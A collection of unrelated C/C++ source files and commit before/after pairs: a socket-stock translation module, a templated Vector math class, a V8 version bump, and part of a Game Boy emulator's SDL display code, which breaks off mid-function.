#include "net/AllocatedSocketAddress.hxx"
#include <daemon/log.h>
#include <assert.h>
#include <sys/un.h>
#include <sys/socket.h>
struct tstock {
StockMap &tcp_stock;
AllocatedSocketAddress address;
const char *const address_string;
tstock(StockMap &_tcp_stock, const char *path)
:tcp_stock(_tcp_stock), address_string(path) {
address.SetLocal(path);
}
};
struct tstock_request {
struct pool &pool;
struct tstock &stock;
StockItem *item;
const TranslateRequest &request;
const TranslateHandler &handler;
void *handler_ctx;
struct async_operation_ref &async_ref;
tstock_request(struct tstock &_stock, struct pool &_pool,
const TranslateRequest &_request,
const TranslateHandler &_handler, void *_ctx,
struct async_operation_ref &_async_ref)
:pool(_pool), stock(_stock),
request(_request),
handler(_handler), handler_ctx(_ctx),
async_ref(_async_ref) {}
};
/*
* socket lease
*
*/
static void
tstock_socket_release(bool reuse, void *ctx)
{
tstock_request *r = (tstock_request *)ctx;
tcp_stock_put(&r->stock.tcp_stock, *r->item, !reuse);
}
static const struct lease tstock_socket_lease = {
.release = tstock_socket_release,
};
/*
* stock callback
*
*/
static void
tstock_stock_ready(StockItem &item, void *ctx)
{
tstock_request *r = (tstock_request *)ctx;
r->item = &item;
translate(&r->pool, tcp_stock_item_get(item),
&tstock_socket_lease, r,
&r->request, &r->handler, r->handler_ctx,
&r->async_ref);
}
static void
tstock_stock_error(GError *error, void *ctx)
{
tstock_request *r = (tstock_request *)ctx;
r->handler.error(error, r->handler_ctx);
}
static constexpr StockGetHandler tstock_stock_handler = {
.ready = tstock_stock_ready,
.error = tstock_stock_error,
};
/*
* constructor
*
*/
struct tstock *
tstock_new(struct pool &pool, StockMap &tcp_stock, const char *socket_path)
{
return NewFromPool<tstock>(pool, tcp_stock, socket_path);
}
void
tstock_translate(struct tstock &stock, struct pool &pool,
const TranslateRequest &request,
const TranslateHandler &handler, void *ctx,
struct async_operation_ref &async_ref)
{
auto r = NewFromPool<tstock_request>(pool, stock, pool, request,
handler, ctx, async_ref);
tcp_stock_get(&stock.tcp_stock, &pool, stock.address_string,
false, SocketAddress::Null(),
stock.address,
10,
&tstock_stock_handler, r,
&async_ref);
}
<|endoftext|> |
<commit_before>#ifndef vector_hpp
#define vector_hpp
#include "util.hpp"
#include <cstdlib>
#include <iostream>
#include <sstream>
#include <stdint.h>
#include <math.h>
//#include <tgmath.h>
#define VEC_SIZE_MATCH_THIS_P(V) \
(this->size == V->size)
#define VEC_SIZE_EQUAL_R(U,V) \
(U.size == V.size)
using namespace std;
template<class T>
class Vector{
private:
T *data;
void allocate_buffer(){
if(size <= 0)
fatal("size can't be zero");
this->data = new T[size];
}
void free_buffer(){
delete [] data;
}
public:
int size;
Vector(int size){
this->size = size;
this->allocate_buffer();
}
~Vector(){
this->free_buffer();
}
Vector * add(Vector * v){
if (!VEC_SIZE_MATCH_THIS_P(v)) {
fatal("vector size unmatch")
}
for (int index = 0; index < this->size; index++) {
data[index] += (*v)[index];
}
return this;
}
Vector * add(Vector & v){
return this->add(&v);
}
Vector * sub(Vector * v){
if(!VEC_SIZE_MATCH_THIS_P(v))
fatal("vector size unmatch");
for (int index = 0; index < this->size; index++) {
data[index] -= (*v)[index];
}
return this;
}
Vector * sub(Vector & v){
return this->sub(&v);
}
Vector * mul(T scalar){
for (int index = 0; index < this->size; index++) {
this->data[index] *= scalar;
}
return this;
}
Vector * div(T scalar){
for (int index = 0; index < this->size; index++) {
this->data[index] /= scalar;
}
return this;
}
//accessor to element
T& operator[] (int index){
if(index >= this->size)
fatal("Element index larger than Vector size");
return data[index];
}
//dot operation between double vector
static double dot(Vector<double> & a, Vector<double> & b){
if(!VEC_SIZE_EQUAL_R(a,b))
fatal("vector size unmatch");
double result = 0.0;
for (int index = 0; index < a.getSize(); index++) {
result += a[index]*b[index];
}
return result;
}
//pointer parameter redirection
static double dot(Vector<double> * a, Vector<double> * b){
return a->dot(*a,*b);
}
int getSize(){
return this->size;
}
string str(){
stringstream buffer;
buffer << "Vector(" << this->size << ")\n{ ";
for (int index = 0; index < this->size; index ++) {
if (index) {
buffer << ", ";
}
buffer << (*this)[index];
}
buffer << " } ";
return buffer.str();
}
Vector * copy(){
Vector * result = new Vector(size);
for (int index = 0; index < size; index++) {
(*result)[index] = (*this)[index];
}
return result;
}
//norm, or we say magnitude of vector
double norm(){
double result = 0.0;
for (int index = 0; index < this->size; index++) {
result += this->data[index] * this->data[index];
}
return sqrt(result);
}
//normalize the vector. set it's magnitude to 1 while maintaining it's other property
Vector * normalize(){
double norm = this->norm();
for (int index = 0; index < this->size; index++) {
this->data[index] /= norm;
}
return this;
}
//cross product of a and b, only in 3 dimension
static Vector * crossProduct(Vector * a, Vector * b){
if(a->size != 3 || b->size != 3){
fatal("Cross product only availavle in 3-dimension space");
}
Vector * result = new Vector(3);
(*result)[0] = (*a)[1]*(*b)[2] - (*a)[2]*(*b)[1];
(*result)[1] = -( (*a)[0]*(*b)[2] - (*a)[2]*(*b)[0] );
(*result)[2] = (*a)[0]*(*b)[1] - (*a)[1]*(*b)[0];
return result;
}
//component of this on b
double componentOn(Vector * b){
if(!VEC_SIZE_MATCH_THIS_P(b))
fatal("vector size unmatch");
return Vector::dot(*this,*b)/b->norm();
}
//projection of this on b
Vector * projectionOn(Vector * b){
if(!VEC_SIZE_MATCH_THIS_P(b))
fatal("vector size unmatch");
Vector * tempb = b->copy();
tempb->normalize();
return tempb->mul(this->componentOn(b));
}
//triangle area of this and b, only avaliable for 3-dimensional problem
double triangleAreaWith(Vector * b){
return triangleArea(this,b);
}
//triangle area, only avaliable for 3-dimensional problem
static double triangleArea(Vector * a, Vector * b){
double result = Vector::crossProduct(a,b)->norm();
return result/2;
}
//static version of angle between vector a and b
static double angleBetween(Vector * a, Vector * b){
return acos(dot(a,b)/a->norm()/b->norm());
}
double angleBetween(Vector * b){
return angleBetween(this,b);
}
//judge if the two input vector is parallel
static bool para_judge(Vector * a, Vector * b){
return approximately_equals(0.0,angleBetween(a,b));
}
//judge if this vector and the input vector is parallel
bool para_judge(Vector * b){
return para_judge(this, b);
}
//judge if the two input vector is orthogonal
static bool orth_judge(Vector * a, Vector * b){
return approximately_equals(0.0, dot(a,b));
}
//judge if this vector and the input vector is orthogonal
bool orth_judge(Vector * b){
return orth_judge(this, b);
}
private:
};
#endif<commit_msg>basic complete vector class<commit_after>#ifndef vector_hpp
#define vector_hpp
#include "util.hpp"
#include <cstdlib>
#include <iostream>
#include <sstream>
#include <stdint.h>
#include <math.h>
//#include <tgmath.h>
#define VEC_SIZE_MATCH_THIS_P(V) \
(this->size == V->size)
#define VEC_SIZE_EQUAL_R(U,V) \
(U.size == V.size)
using namespace std;
template<class T>
class Vector{
private:
T *data;
void allocate_buffer(){
if(size <= 0)
fatal("size can't be zero");
this->data = new T[size];
}
void free_buffer(){
delete [] data;
}
public:
int size;
Vector(int size){
this->size = size;
this->allocate_buffer();
}
~Vector(){
this->free_buffer();
}
Vector * add(Vector * v){
if (!VEC_SIZE_MATCH_THIS_P(v)) {
fatal("vector size unmatch")
}
for (int index = 0; index < this->size; index++) {
data[index] += (*v)[index];
}
return this;
}
Vector * add(Vector & v){
return this->add(&v);
}
Vector * sub(Vector * v){
if(!VEC_SIZE_MATCH_THIS_P(v))
fatal("vector size unmatch");
for (int index = 0; index < this->size; index++) {
data[index] -= (*v)[index];
}
return this;
}
Vector * sub(Vector & v){
return this->sub(&v);
}
Vector * mul(T scalar){
for (int index = 0; index < this->size; index++) {
this->data[index] *= scalar;
}
return this;
}
Vector * div(T scalar){
for (int index = 0; index < this->size; index++) {
this->data[index] /= scalar;
}
return this;
}
//accessor to element
T& operator[] (int index){
if(index >= this->size)
fatal("Element index larger than Vector size");
return data[index];
}
//dot operation between double vector
static double dot(Vector<double> & a, Vector<double> & b){
if(!VEC_SIZE_EQUAL_R(a,b))
fatal("vector size unmatch");
double result = 0.0;
for (int index = 0; index < a.getSize(); index++) {
result += a[index]*b[index];
}
return result;
}
//pointer parameter redirection
static double dot(Vector<double> * a, Vector<double> * b){
return a->dot(*a,*b);
}
int getSize(){
return this->size;
}
string str(){
stringstream buffer;
buffer << "Vector(" << this->size << ")\n{ ";
for (int index = 0; index < this->size; index ++) {
if (index) {
buffer << ", ";
}
buffer << (*this)[index];
}
buffer << " } ";
return buffer.str();
}
Vector * copy(){
Vector * result = new Vector(size);
for (int index = 0; index < size; index++) {
(*result)[index] = (*this)[index];
}
return result;
}
//norm, or we say magnitude of vector
double norm(){
double result = 0.0;
for (int index = 0; index < this->size; index++) {
result += this->data[index] * this->data[index];
}
return sqrt(result);
}
//normalize the vector. set it's magnitude to 1 while maintaining it's other property
Vector * normalize(){
double norm = this->norm();
for (int index = 0; index < this->size; index++) {
this->data[index] /= norm;
}
return this;
}
//cross product of a and b, only in 3 dimension
static Vector * crossProduct(Vector * a, Vector * b){
if(a->size != 3 || b->size != 3){
fatal("Cross product only availavle in 3-dimension space");
}
Vector * result = new Vector(3);
(*result)[0] = (*a)[1]*(*b)[2] - (*a)[2]*(*b)[1];
(*result)[1] = -( (*a)[0]*(*b)[2] - (*a)[2]*(*b)[0] );
(*result)[2] = (*a)[0]*(*b)[1] - (*a)[1]*(*b)[0];
return result;
}
//component of this on b
double componentOn(Vector * b){
if(!VEC_SIZE_MATCH_THIS_P(b))
fatal("vector size unmatch");
return Vector::dot(*this,*b)/b->norm();
}
//projection of this on b
Vector * projectionOn(Vector * b){
if(!VEC_SIZE_MATCH_THIS_P(b))
fatal("vector size unmatch");
Vector * tempb = b->copy();
tempb->normalize();
return tempb->mul(this->componentOn(b));
}
//triangle area of this and b, only avaliable for 3-dimensional problem
double triangleAreaWith(Vector * b){
return triangleArea(this,b);
}
//triangle area, only avaliable for 3-dimensional problem
static double triangleArea(Vector * a, Vector * b){
double result = Vector::crossProduct(a,b)->norm();
return result/2;
}
//static version of angle between vector a and b
static double angleBetween(Vector * a, Vector * b){
return acos(dot(a,b)/a->norm()/b->norm());
}
double angleBetween(Vector * b){
return angleBetween(this,b);
}
//judge if the two input vector is parallel
static bool para_judge(Vector * a, Vector * b){
return approximately_equals(0.0,angleBetween(a,b));
}
//judge if this vector and the input vector is parallel
bool para_judge(Vector * b){
return para_judge(this, b);
}
//judge if the two input vector is orthogonal
static bool orth_judge(Vector * a, Vector * b){
return approximately_equals(0.0, dot(a,b));
}
//judge if this vector and the input vector is orthogonal
bool orth_judge(Vector * b){
return orth_judge(this, b);
}
//return the normal vector of the plane produced by two vectors
//only for 3-dimensional problem
static Vector * normal_vector_of_plane2v(Vector * a, Vector * b){
return crossProduct(a,b)->normalize();
}
private:
};
#endif<|endoftext|> |
<commit_before>// Copyright 2012 the V8 project authors. All rights reserved.
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are
// met:
//
// * Redistributions of source code must retain the above copyright
// notice, this list of conditions and the following disclaimer.
// * Redistributions in binary form must reproduce the above
// copyright notice, this list of conditions and the following
// disclaimer in the documentation and/or other materials provided
// with the distribution.
// * Neither the name of Google Inc. nor the names of its
// contributors may be used to endorse or promote products derived
// from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#include "v8.h"
#include "version.h"
// These macros define the version number for the current version.
// NOTE these macros are used by some of the tool scripts and the build
// system so their names cannot be changed without changing the scripts.
#define MAJOR_VERSION 3
#define MINOR_VERSION 24
#define BUILD_NUMBER 41
#define PATCH_LEVEL 0
// Use 1 for candidates and 0 otherwise.
// (Boolean macro values are not supported by all preprocessors.)
#define IS_CANDIDATE_VERSION 1
// Define SONAME to have the build system put a specific SONAME into the
// shared library instead the generic SONAME generated from the V8 version
// number. This define is mainly used by the build system script.
#define SONAME ""
#if IS_CANDIDATE_VERSION
#define CANDIDATE_STRING " (candidate)"
#else
#define CANDIDATE_STRING ""
#endif
#define SX(x) #x
#define S(x) SX(x)
#if PATCH_LEVEL > 0
#define VERSION_STRING \
S(MAJOR_VERSION) "." S(MINOR_VERSION) "." S(BUILD_NUMBER) "." \
S(PATCH_LEVEL) CANDIDATE_STRING
#else
#define VERSION_STRING \
S(MAJOR_VERSION) "." S(MINOR_VERSION) "." S(BUILD_NUMBER) \
CANDIDATE_STRING
#endif
namespace v8 {
namespace internal {
int Version::major_ = MAJOR_VERSION;
int Version::minor_ = MINOR_VERSION;
int Version::build_ = BUILD_NUMBER;
int Version::patch_ = PATCH_LEVEL;
bool Version::candidate_ = (IS_CANDIDATE_VERSION != 0);
const char* Version::soname_ = SONAME;
const char* Version::version_string_ = VERSION_STRING;
// Calculate the V8 version string.
void Version::GetString(Vector<char> str) {
const char* candidate = IsCandidate() ? " (candidate)" : "";
#ifdef USE_SIMULATOR
const char* is_simulator = " SIMULATOR";
#else
const char* is_simulator = "";
#endif // USE_SIMULATOR
if (GetPatch() > 0) {
OS::SNPrintF(str, "%d.%d.%d.%d%s%s",
GetMajor(), GetMinor(), GetBuild(), GetPatch(), candidate,
is_simulator);
} else {
OS::SNPrintF(str, "%d.%d.%d%s%s",
GetMajor(), GetMinor(), GetBuild(), candidate,
is_simulator);
}
}
// Calculate the SONAME for the V8 shared library.
void Version::GetSONAME(Vector<char> str) {
if (soname_ == NULL || *soname_ == '\0') {
// Generate generic SONAME if no specific SONAME is defined.
const char* candidate = IsCandidate() ? "-candidate" : "";
if (GetPatch() > 0) {
OS::SNPrintF(str, "libv8-%d.%d.%d.%d%s.so",
GetMajor(), GetMinor(), GetBuild(), GetPatch(), candidate);
} else {
OS::SNPrintF(str, "libv8-%d.%d.%d%s.so",
GetMajor(), GetMinor(), GetBuild(), candidate);
}
} else {
// Use specific SONAME.
OS::SNPrintF(str, "%s", soname_);
}
}
} } // namespace v8::internal
<commit_msg>Fast-forward version number on bleeding_edge to 3.25.0<commit_after>// Copyright 2012 the V8 project authors. All rights reserved.
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are
// met:
//
// * Redistributions of source code must retain the above copyright
// notice, this list of conditions and the following disclaimer.
// * Redistributions in binary form must reproduce the above
// copyright notice, this list of conditions and the following
// disclaimer in the documentation and/or other materials provided
// with the distribution.
// * Neither the name of Google Inc. nor the names of its
// contributors may be used to endorse or promote products derived
// from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#include "v8.h"
#include "version.h"
// These macros define the version number for the current version.
// NOTE these macros are used by some of the tool scripts and the build
// system so their names cannot be changed without changing the scripts.
#define MAJOR_VERSION 3
#define MINOR_VERSION 25
#define BUILD_NUMBER 0
#define PATCH_LEVEL 0
// Use 1 for candidates and 0 otherwise.
// (Boolean macro values are not supported by all preprocessors.)
#define IS_CANDIDATE_VERSION 1
// Define SONAME to have the build system put a specific SONAME into the
// shared library instead the generic SONAME generated from the V8 version
// number. This define is mainly used by the build system script.
#define SONAME ""
#if IS_CANDIDATE_VERSION
#define CANDIDATE_STRING " (candidate)"
#else
#define CANDIDATE_STRING ""
#endif
#define SX(x) #x
#define S(x) SX(x)
#if PATCH_LEVEL > 0
#define VERSION_STRING \
S(MAJOR_VERSION) "." S(MINOR_VERSION) "." S(BUILD_NUMBER) "." \
S(PATCH_LEVEL) CANDIDATE_STRING
#else
#define VERSION_STRING \
S(MAJOR_VERSION) "." S(MINOR_VERSION) "." S(BUILD_NUMBER) \
CANDIDATE_STRING
#endif
namespace v8 {
namespace internal {
int Version::major_ = MAJOR_VERSION;
int Version::minor_ = MINOR_VERSION;
int Version::build_ = BUILD_NUMBER;
int Version::patch_ = PATCH_LEVEL;
bool Version::candidate_ = (IS_CANDIDATE_VERSION != 0);
const char* Version::soname_ = SONAME;
const char* Version::version_string_ = VERSION_STRING;
// Calculate the V8 version string.
void Version::GetString(Vector<char> str) {
const char* candidate = IsCandidate() ? " (candidate)" : "";
#ifdef USE_SIMULATOR
const char* is_simulator = " SIMULATOR";
#else
const char* is_simulator = "";
#endif // USE_SIMULATOR
if (GetPatch() > 0) {
OS::SNPrintF(str, "%d.%d.%d.%d%s%s",
GetMajor(), GetMinor(), GetBuild(), GetPatch(), candidate,
is_simulator);
} else {
OS::SNPrintF(str, "%d.%d.%d%s%s",
GetMajor(), GetMinor(), GetBuild(), candidate,
is_simulator);
}
}
// Calculate the SONAME for the V8 shared library.
void Version::GetSONAME(Vector<char> str) {
if (soname_ == NULL || *soname_ == '\0') {
// Generate generic SONAME if no specific SONAME is defined.
const char* candidate = IsCandidate() ? "-candidate" : "";
if (GetPatch() > 0) {
OS::SNPrintF(str, "libv8-%d.%d.%d.%d%s.so",
GetMajor(), GetMinor(), GetBuild(), GetPatch(), candidate);
} else {
OS::SNPrintF(str, "libv8-%d.%d.%d%s.so",
GetMajor(), GetMinor(), GetBuild(), candidate);
}
} else {
// Use specific SONAME.
OS::SNPrintF(str, "%s", soname_);
}
}
} } // namespace v8::internal
<|endoftext|> |
<commit_before>/* This file will handle (as a minimum) the visualization of the emulator
* in the form of interfacing with a user's input.
*
* Author Maxwell J Svetlik
*/
#include <SDL2/SDL.h>
#include <stdio.h>
#include "visualization.h"
#include "video_const.h"
const int SCREEN_WIDTH = 166;
const int SCREEN_HEIGHT = 140;
const int BUFFER_WIDTH = 255;
const int BUFFER_HEIGHT = 255;
Uint32 white; //transparent
Uint32 lgray; //light gray
Uint32 gray; //gray
Uint32 dgray; //dark gray
Uint32 black; //black
unsigned char color_map[4];
SDL_Surface* surface;
SDL_Window* window;
void initilize_colors(SDL_Surface *surface){
white = SDL_MapRGBA(surface->format, 255,255,255,0xFF);
lgray = SDL_MapRGBA(surface->format, 195, 195, 195, 0xFF);
gray = SDL_MapRGBA(surface->format, 100, 100, 100, 0xFF);
dgray = SDL_MapRGBA(surface->format, 15, 15, 15, 0xFF);
black = SDL_MapRGBA(surface->format, 0, 0, 0, 0xFF);
}
Uint32 get_pixel32( SDL_Surface *surface, int x, int y ) {
Uint32 *pixels = (Uint32 *)surface->pixels;
return pixels[ ( y * surface->w ) + x ];
}
void put_pixel32( SDL_Surface *surface, int x, int y, Uint32 pixel ) {
Uint32 *pixels = (Uint32 *)surface->pixels;
pixels[ ( y * surface->w ) + x ] = pixel;
}
/* Initilialize needed SDL structures.
* This must be run before any visualization methods are called
*/
void init_visualization(){
SDL_Window* win = NULL;
//The surface contained by the window
SDL_Surface* screenSurface = NULL;
if( SDL_Init( SDL_INIT_VIDEO ) < 0 ){
printf( "SDL could not initialize! SDL_Error: %s\n", SDL_GetError() );
} else{
win = SDL_CreateWindow( "GouldBoyColor", SDL_WINDOWPOS_UNDEFINED, SDL_WINDOWPOS_UNDEFINED, BUFFER_WIDTH, BUFFER_HEIGHT, SDL_WINDOW_SHOWN );
if( win == NULL){
printf( "Window could not be created! SDL_Error: %s\n", SDL_GetError() );
exit(-1);
} else {
//Get window surface
screenSurface = SDL_GetWindowSurface( win );
initilize_colors(screenSurface);
//Set background color (white, here)
SDL_FillRect( screenSurface, NULL, SDL_MapRGB( screenSurface->format, 0xFF, 0xFF, 0xFF ) );
//Write to window
SDL_UpdateWindowSurface( win );
}
}
surface = screenSurface;
window = win;
}
/* This draws a line of pixels onto a window and pushes changes through
* Note. This is a terrible way to do it; writing directly to window is very slow.
* Must utilized SDL's tile mapper for any decent performance.
* It is assumed that 'line' is an array of 8 pixels, each denoted by a color value in a supported pallet.
*/
void draw_line(unsigned int line[], int x, int y){
Uint32 *pixels = (Uint32 *)surface->pixels;
int i;
Uint32 color;
int pallet_col;
for(i = 0; i < 8; i+=1){
pallet_col = line[i];
color = color_map[pallet_col];
if(color == WHITE)
color = white;
else if(color == LGRAY)
color = lgray;
else if(color == DGRAY)
color = dgray;
else if(color == BLACK)
color = black;
pixels[(y * surface->w) + x + i] = color;
}
}
/* Draw all the tiles referenced in 0x8800 to 8fff or 0x8800 to 97ff depending on LCDC reg.
* These locations map to tiles in 0x9800 ti 9bff or 0x9c00 to 9fff
*
* For now, just drawing 9800 to 9bff straight
*
* In this area, colors for pixels within a tile is determined by a two byte quantity, the first describing the LSBs and the 2nd describing the MSBs
*/
void draw_tile(unsigned char mem[]){
unsigned int draw_vect[8];
int i,j,k;
int x = 0; int y = 0;
int start = 0x9800;
int tile_base = 0x8000;
char signed_tiles = 0;
//check the LCDC register, set approriate flags
unsigned char lcdc = mem[LCDC];
char lcd_enable = !!(lcdc & 0x80);
if(lcd_enable){
//TODO:set window tile map display region
//TODO:set window display enable
//TODO:set Background and Window tile region
if(!(lcdc & 0x10)){
tile_base = 0x8800;
signed_tiles = 1;
}
else {
tile_base = 0x8000;
signed_tiles = 0;
}
//set tile map display region
if(!(lcdc & 0x8))
start = 0x9800;
else
start = 0x9C00;
//TODO:set sprite size
//TODO:set sprite display enable
//TODO:set background display
//set the internal color pallete
unsigned char pallete = mem[BGP];
color_map[0] = pallete & 0x3;
color_map[1] = (pallete >> 2) & 0x3;
color_map[2] = (pallete >> 4) & 0x3;
color_map[3] = (pallete >> 6) & 0x3;
for(i = 0; i < 1024; i+=1){
unsigned char tile_num = mem[start+i];
//draw one single tile reference
for(k = 0; k < 16; k+=2){
unsigned char lsb = mem[tile_base+(16*tile_num)+k]; //every tile is 16 bytes
unsigned char msb = mem[tile_base+(16*tile_num)+k+1]; // ...
//if(lsb || msb)
// printf("Found lsb: %x msb: %x at %x from map %x\n", lsb, msb, tile_base+tile_num, start+i);
draw_vect[0] = ((msb & 1 << 7) >> 6) + ((lsb & 1 << 7) >> 7);
draw_vect[1] = ((msb & 1 << 6) >> 5) + ((lsb & 1 << 6) >> 6);
draw_vect[2] = ((msb & 1 << 5) >> 4) + ((lsb & 1 << 5) >> 5);
draw_vect[3] = ((msb & 1 << 4) >> 3) + ((lsb & 1 << 4) >> 4);
draw_vect[4] = ((msb & 1 << 3) >> 2) + ((lsb & 1 << 3) >> 3);
draw_vect[5] = ((msb & 1 << 2) >> 1) + ((lsb & 1 << 2) >> 2);
draw_vect[6] = ((msb & 1 << 1) >> 0) + ((lsb & 1 << 1) >> 1);
draw_vect[7] = ((msb & 1 << 0) << 1) + ((lsb & 1 << 0) >> 0);
draw_line(draw_vect, x, y+(k/2));
}
if(x >= 248){
x = 0;
y += 8;
}
else
x += 8;
}
}
//update window only after all lines are updated
SDL_UpdateWindowSurface( window );
}
//Exit SDL cleanly
void exit_clean(){
SDL_FreeSurface(surface);
SDL_DestroyWindow(window);
SDL_Quit();
}
<commit_msg>added a differentiation between the full buffer and the screen. The screen now displays to the user as is defined by internal state. currently, this is slow however.<commit_after>/* This file will handle (as a minimum) the visualization of the emulator
* in the form of interfacing with a user's input.
*
* Author Maxwell J Svetlik
*/
#include <SDL2/SDL.h>
#include <stdio.h>
#include "visualization.h"
#include "video_const.h"
const int SCREEN_WIDTH = 166;
const int SCREEN_HEIGHT = 140;
const int BUFFER_WIDTH = 255;
const int BUFFER_HEIGHT = 255;
Uint32 white; //transparent
Uint32 lgray; //light gray
Uint32 gray; //gray
Uint32 dgray; //dark gray
Uint32 black; //black
unsigned char color_map[4];
SDL_Surface* surface; //holds the surface of the screen
SDL_Window* window; //holds the window
SDL_Surface* fullBuff; //holds the full 'background' buffer, 256x256 pixels
void initilize_colors(SDL_Surface *surface){
white = SDL_MapRGBA(surface->format, 255,255,255,0xFF);
lgray = SDL_MapRGBA(surface->format, 195, 195, 195, 0xFF);
gray = SDL_MapRGBA(surface->format, 100, 100, 100, 0xFF);
dgray = SDL_MapRGBA(surface->format, 15, 15, 15, 0xFF);
black = SDL_MapRGBA(surface->format, 0, 0, 0, 0xFF);
}
Uint32 get_pixel32( SDL_Surface *surface, int x, int y ) {
Uint32 *pixels = (Uint32 *)surface->pixels;
return pixels[ ( y * surface->w ) + x ];
}
void put_pixel32( SDL_Surface *surface, int x, int y, Uint32 pixel ) {
Uint32 *pixels = (Uint32 *)surface->pixels;
pixels[ ( y * surface->w ) + x ] = pixel;
}
/* Initilialize needed SDL structures.
* This must be run before any visualization methods are called
*/
void init_visualization(){
SDL_Window* win = NULL;
//The surface contained by the window
SDL_Surface* screenSurface = NULL;
if( SDL_Init( SDL_INIT_VIDEO ) < 0 ){
printf( "SDL could not initialize! SDL_Error: %s\n", SDL_GetError() );
} else{
win = SDL_CreateWindow( "GouldBoyColor", SDL_WINDOWPOS_UNDEFINED, SDL_WINDOWPOS_UNDEFINED, SCREEN_WIDTH, SCREEN_HEIGHT, SDL_WINDOW_SHOWN );
if( win == NULL){
printf( "Window could not be created! SDL_Error: %s\n", SDL_GetError() );
exit(-1);
} else {
//Get window surface
screenSurface = SDL_GetWindowSurface( win );
initilize_colors(screenSurface);
//Set background color (white, here)
SDL_FillRect( screenSurface, NULL, SDL_MapRGB( screenSurface->format, 0xFF, 0xFF, 0xFF ) );
//Write to window
SDL_UpdateWindowSurface( win );
}
}
fullBuff = SDL_CreateRGBSurface(0,BUFFER_WIDTH,BUFFER_HEIGHT,32,0,0,0,0);
surface = screenSurface;
window = win;
}
/* This draws a line of pixels onto a window and pushes changes through
* Note. This is a terrible way to do it; writing directly to window is very slow.
* Must utilized SDL's tile mapper for any decent performance.
* It is assumed that 'line' is an array of 8 pixels, each denoted by a color value in a supported pallet.
*/
void draw_line(unsigned int line[], int x, int y){
Uint32 *pixels = (Uint32 *)fullBuff->pixels;
int i;
Uint32 color;
int pallet_col;
for(i = 0; i < 8; i+=1){
pallet_col = line[i];
color = color_map[pallet_col];
if(color == WHITE)
color = white;
else if(color == LGRAY)
color = lgray;
else if(color == DGRAY)
color = dgray;
else if(color == BLACK)
color = black;
pixels[(y * fullBuff->w) + x + i] = color;
}
}
/* This method draws the appropriate region of the fullBuffer to the screen
* buffer and window.
* This is accounted for by visual registers in VRAM
*/
void flush_to_screen(unsigned char mem[]){
unsigned char xpos = mem[SCX];
unsigned char ypos = mem[SCY];
Uint32 *buff_pixels = (Uint32 *)fullBuff->pixels;
Uint32 *screen_pixels = (Uint32 *)surface->pixels;
int i,j;
for(i = 0; i < SCREEN_WIDTH; i += 1)
for(j = 0; j < SCREEN_HEIGHT; j += 1){
screen_pixels[(j * surface->w) + i] = buff_pixels[((ypos + j) * fullBuff->w) + xpos + i];
}
}
/* Draw all the tiles referenced in 0x8800 to 8fff or 0x8800 to 97ff depending on LCDC reg.
* These locations map to tiles in 0x9800 ti 9bff or 0x9c00 to 9fff
*
* For now, just drawing 9800 to 9bff straight
*
* In this area, colors for pixels within a tile is determined by a two byte quantity, the first describing the LSBs and the 2nd describing the MSBs
*/
void draw_tile(unsigned char mem[]){
unsigned int draw_vect[8];
int i,j,k;
int x = 0; int y = 0;
int start = 0x9800;
int tile_base = 0x8000;
char signed_tiles = 0;
mem[0xFF44] = 0x90;
//check the LCDC register, set approriate flags
unsigned char lcdc = mem[LCDC];
char lcd_enable = !!(lcdc & 0x80);
if(lcd_enable){
//TODO:set window tile map display region
//TODO:set window display enable
//TODO:set Background and Window tile region
if(!(lcdc & 0x10)){
tile_base = 0x8800;
signed_tiles = 1;
}
else {
tile_base = 0x8000;
signed_tiles = 0;
}
//set tile map display region
if(!(lcdc & 0x8))
start = 0x9800;
else
start = 0x9C00;
//TODO:set sprite size
//TODO:set sprite display enable
//TODO:set background display
//set the internal color pallete
unsigned char pallete = mem[BGP];
color_map[0] = pallete & 0x3;
color_map[1] = (pallete >> 2) & 0x3;
color_map[2] = (pallete >> 4) & 0x3;
color_map[3] = (pallete >> 6) & 0x3;
for(i = 0; i < 1024; i+=1){
unsigned char tile_num = mem[start+i];
//draw one single tile reference
for(k = 0; k < 16; k+=2){
unsigned char lsb = mem[tile_base+(16*tile_num)+k]; //every tile is 16 bytes
unsigned char msb = mem[tile_base+(16*tile_num)+k+1]; // ...
//if(lsb || msb)
// printf("Found lsb: %x msb: %x at %x from map %x\n", lsb, msb, tile_base+tile_num, start+i);
